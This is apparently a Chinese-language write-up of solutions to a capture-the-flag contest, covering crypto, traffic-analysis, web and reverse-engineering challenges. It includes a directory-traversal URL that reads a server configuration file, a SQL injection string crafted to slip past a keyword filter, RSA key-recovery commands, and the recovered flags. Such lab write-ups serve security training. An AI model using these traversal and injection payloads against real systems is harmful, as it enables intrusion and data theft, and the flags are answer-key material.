CRYPTO
1.Ordinary keyboard
变形后的凯撒加密 需要加上字符
2.RSA
工具地址( https://github.com/Ganapati/RsaCtfTool.git )
首先利用 python RsaCtfTool.py –publickey pub.key(公钥) –private 解出私钥,将私钥保存为任意格式文件
然后使用 openssl rsautl -decrypt -in flag.enc(密文) -inkey 1.txt(私钥) -out 2.txt(输出答案) 解出 flag
MISC
1.qr
扫码直接提交答案即可
2.wireshark
需要分析登录信息,使用条件”http.request.method==POST”进行过滤得到答案
3.百里挑一
首先使用 wireshark 导出 http 文件,发现有一部分图片,使用脚本分理处图片中的 flag 发现只有一半。
使用 wireshark 筛选 ftp 数据。
发现文件使用的为被动模式传输,传输端口为 38x256+111 = 9839(传输文件使用的端口) 更改筛选条件为 tcp,端口为 9839
追踪 PSH,ACK 流,导出原始数据为 jpg 文件格式(其他流同上步骤)
使用脚本调用 exiftool 分析得到答案
#coding=UTF-8
import os
imgs = os.listdir('.')
imgs = [img for img in imgs if '.jpg' in img]
for img in imgs:
exif_dict = dict()
exif = os.popen('exiftool ' + img).read()
exif = exif.split('\n')
for ex in exif:
ex = ex.split(':')
if len(ex) == 2:
exif_dict[ex[0].strip()] = ex[1].split()
if 'XP Comment' in exif_dict:
print(exif_dict['XP Comment'])
WEB
1.WebScan
利用目录遍历漏洞,访问http://101.71.29.5:10009/?act=about&file=/etc/httpd/conf/httpd.conf 即可获得 flag
2.刀塔
源码泄露:http://101.71.29.5:10010/www.zip
3.美男子
源码及注释
<?php
include 'global.php';
function AttackFilter($StrKey,$StrValue,$ArrReq){
if(is_array($StrValue))
{
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrtValue)==1){
print "holy shit!";
exit();
}
}
$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
print <<<DBAPP
<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
die;
}
$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'");
if(mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['key2'] == $_POST['key2']) {
print $flag;
}else{
print "Error!";
}
}else{
print "Error!";
}
$sql="SELECT * FROM interest WHERE key1 = 'key1=ads' || 1 group by key2 with rollup limit 1 offset 1 #'";#答案等效语句,# -> 注释掉另一个'
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
#过滤了and、select、from、where、union、join、sleep、benchmark、等参数后使用查询语句查询数据库
$sql="SELECT * FROM interest WHERE key1 = '{$_POST['key1']}'";
传递参数:
key1=ads' || 1 group by key2 with rollup limit 1 offset 1 # & key2 =
‘是对前面的’的封闭,然后利用||1 将这个条件变成 true 过 group by,with rollup 将 pw 归纳排序出来,用 limit offset 取出一条数据(题目判断有要求) 至于为啥 offset 2,这个是试出来的,其实我们根本不可能知道 with rollup 会总结归纳出多少条信息,offset 2 能过说明正确的 pwd 位于第三条信息
REVERSE
1.Mysterious
从 DialogBoxParamA 函数中定位处理函数
int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4)
{
char v5; // [esp+50h] [ebp-310h]
CHAR Text[4]; // [esp+154h] [ebp-20Ch]
char v7; // [esp+159h] [ebp-207h]
__int16 v8; // [esp+255h] [ebp-10Bh]
char v9; // [esp+257h] [ebp-109h]
int v10; // [esp+258h] [ebp-108h]
CHAR String; // [esp+25Ch] [ebp-104h]
char v12; // [esp+25Fh] [ebp-101h]
char v13; // [esp+260h] [ebp-100h]
char v14; // [esp+261h] [ebp-FFh]
memset(&String, 0, 0x104u);
v10 = 0;
if ( a2 == 16 )
{
DestroyWindow(hWnd);
PostQuitMessage(0);
}
else if ( a2 == 273 )
{
if ( a3 == 1000 )
{
GetDlgItemTextA(hWnd, 1002, &String, 260);
strlen(&String);
if ( strlen(&String) > 6 )
ExitProcess(0);
v10 = atoi(&String) + 1;
if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 )
{
strcpy(Text, "flag");
memset(&v7, 0, 0xFCu);
v8 = 0;
v9 = 0;
_itoa(v10, &v5, 10);
strcat(Text, "{");
strcat(Text, &v5);
strcat(Text, "_");
strcat(Text, "Buff3r_0v3rf|0w");
strcat(Text, "}");
MessageBoxA(0, Text, "well done", 0);
}
SetTimer(hWnd, 1u, 0x3E8u, TimerFunc);
}
if ( a3 == 1001 )
KillTimer(hWnd, 1u);
}
return 0;
}
输入的字符不能超过 6 位 要为 6 位
if ( v10 == 123 && String[3] == 120 && String[5] == 122 && String[4] == 121 )
&String+1 = 123 => &String =122
String[3] => x
String[4] => y
String[5] => z
2.findKey
flag n0_Zu0_n0_die 思路待整理